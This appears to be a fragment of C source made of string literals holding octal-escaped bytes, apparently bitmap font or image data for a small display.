"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360" "\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\207\207\207\203\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\77\77" "\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\340\340\360\360\360\377\377\377\377\341\340\340\300\200\0\0\0\340\374\376\377\377\37\7\3\1\0\360\377" "\377\377\377\1\1\3\17\17\7\3\0\0\17\177\377\377\377\370\340\200\0\360\377\377\377\177\0\0\0\200\300\300" "\200\0\0\0\0\0\0\1\3\7\17\17\377\377\377\377\177\37\37\37\17\17\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\3\3\3\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300" "\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\360\374\376\377\377\37\17\7\7\7\7\7\7\17\37\17\7" "\2\0\0\0\0\36\36\37\177\377\377\377\376\336\36\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\340\377\377\377\377\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>\37\37\37\17\17\17\17\17\17\37" "\37\36>>><>>\36\37\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60x" "\370\360\340\340\340\360\360\360\360\360\340\340\340\360\370x\60\0\0\0\0\0\0|\377\377\377\307\3\1\1\0" "\1\1\203\307\377\377\377|\0\0\0\0\0\0\30<\77\37\17\17\17\37\37\36\37\37\17\17\17\37\77<" "\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\300\300\300\300\0\0\3\17\77\177\377\376\370\340\200\0\0\0\200\340\370\376\377\177\37" "\7\3\0\0\0\0\200\200\200\201\207\217\277\377\376\374\376\377\277\217\207\201\200\200\200\0\0\0\0\0\307\307" "\307\307\307\307\307\377\377\377\377\377\307\307\307\307\307\307\307\0\0\0\0\0\3\3\3\3\3\3\3\77\77\77" "\77\77\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\360\360" "\360\360\360\360\340\340\300\200\0\0\0\0\0\0\0\77\377\377\377\377\343\301\300\200\200\0\1\3\17\17\7\3" "\1\0\0\0\0\0\360\374\376\377\377\217\7\7\7\7\17\17\37\77\376\376\374\370\340\0\0\0\0\0\0\3" "\7\7\17\17\37\37\36>>|\374\376\377\377\347\303\1\0\0\0\0\20\70~\177\376\370\360\360\360\360\360" "\360\360\370\377\177\177\77\17\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\0\0" "\1\3\3\3\1\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370x|\274\274\274\274\274xxx\360\340" "\340\300\0\0\376\377\377\37\347\371\376\376\37\17\17\17\7\17\17\77\77><\21\7\37\377\376\177\377\377\370" "\347\237\77\177|\370\360\360\360\360\370\370||\70\210\340\370\377\177\0\0\3\7\7\17\37\36><<<" "<<<\36\36\37\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0" "\0\207\217\317\307\343\343\343\343\343\347\377\377\377\376\0\0\0\0\0\0\0\0\0\77\177\377\377\363\341\341\341" "\341\361\371\377\377\377\377\0\0\0\0\0\0\0<<<<<=======<====<" "<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\340\360\370\374~<\30\200\300\340\360\370\374~<\30\0\0\0\0\7\17\37" "\77\177\375\371\360\340\306\217\37\77\177\377\371\360\340\300\200\0\0\0\0\0\0\0\0\0\0\1\3\7\7\3" "\1\0\0\0\1\3\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\177\177" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340" "\340\360\370x|<<<<<>><>>>\36\37\17\7\7\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0" "~\377\377\377\347\303\303\201\303\303\347\377\377\377|\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7" "\7\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376\376\0\0\0\0\0\0" "\0\0\0\0\36\36\36\36\36\36\36\36\36\377\377\377\377\377\36\36\36\36\36\36\36\36\0\0\0\0\0\0" "\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0<<<<<<<<<<<<" "<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\300\340\340\340\340\340\340\300\300\200\0\0\0\0\0\0\0\0\0\0" "\7\17\17\7\3\1\1\201\301\341\367\377\377\177\36\0\0\0\0\0\0\0\0\0\340\360\370\374\376\377\377\357" "\347\343\341\341\340\340\340\340\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340" "\340\340\340\300\300\200\0\0\0\0\0\0\0\0\0\0\1\3\7\7\3\361\361\361\361\361\363\377\377\377\237\0" "\0\0\0\0\0\0\0\0\60x\374\374\360\340\340\340\340\340\361\373\377\177\77\37\0\0\0\0\0\0\0\0" "\0\0\0\0\1\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374\370x\60\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\4\17\17\37\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377" "\377\200\0\0\0\0\0\0\200\377\377\377\377\377\0\0\0\0\200\0\377\377\377\17\37\37>>>>>\37" "\37\17\7\17\37\77><>\37\37\16\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\300\340\340\360\360\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\374\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\3\7\17\37\77\77\77\77\377\377" "\377\377\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\0\0\0\0\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0p\370\374\374\374\370p\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\20<\70xpssww\77>\36\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340" "\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\3\3\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\360" "\374\376\377\77\7\3\3\3\3\7\17\177\377\377\374\360\0\0\0\0\0\0\0\7\37\177\177\376\360\340\340\340" "\340\340\360\376\177\77\37\7\0\0\0\0\0\0<<<<<<<=====<<<<<<" "<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\30<~\374\370\360\340\340\300\230<>|\370\360\360\340\300\200\0\0\0\0\0\200\300" "\340\360\370\375\177\77\37\217\307\340\360\370\375\177\77\37\17\7\0\0\0\1\3\7\7\3\1\0\0\0\0\1" "\3\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340pp\370\370\370\370\0\0\0\0\0\0\0\0\0\0\300\360\360\340 \0\0\0\0\0\377" "\377\377\377\0\0\0\0\0\0\300\360\374\377\177\17\3\0\0\0\0\0\0\0\7\7\7\7\0\0\200\340\374" "\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\77\7\1\0\200\300\340\360\374\374" "\374\0\0\0\0\0`\370\376\377\77\17\3\0\70<>\77\77;\71\70\377\377\377\70\70\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\340pp\370\370\370\370\0\0\0\0\0" "\0\0\0\0\200\360\360\360\340 \0\0\0\0\0\377\377\377\377\0\0\0\0\0\200\340\370\376\377\77\17\3" "\0\0\0\0\0\0\0\7\7\7\7\0\0\300\360\374\377\177\37\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\340\374\377\377\77\7q\370x<\34\34\34<\374\370\360\340\0\0`\370\376\377\77\17\3\0\0\0" "\200\300\340\360\370\274\236\237\217\207\203\201\0\0\0\0\1\1\0\0\0\0\0\0\3\3\3\3\3\3\3\3" "\3\3\3\3\360\360x\70\70\70x\360\360\300\0\0\0\0\0\0\200\360\360\340`\0\0\0\340\300\200\16" "\16\16\236\377\377\373\360\0\200\340\370\376\377\77\17\3\0\0\0\0\3\3\7\7\7\7\7\3\3\301\360\376" "\377\177\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\177\37\7\1\200\300\340\360\374\374\374" "\0\0\0\0\0\0`\370\376\377\77\17\3\0\70<>\77;\71\70\377\377\377\70\70\70\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360" "\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\203\207\207\207\203\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340\360\374\377\177\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\376\377\377" "\377\377\207\1\0\0\0\0\0\0\0\0\300\340\300\200\200\0\0\0\0\0\3\7\17\37\37\77>>>>" ">>\37\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\1\3\3\203\347\307\17\17\17\6\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\200\360\374\377\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3" "\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374" "\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0\0\0\0\0\0\7\37\77\77\77< \0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\17\17\217\347\307" "\3\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\376\370\300\0\0\0\0\0" 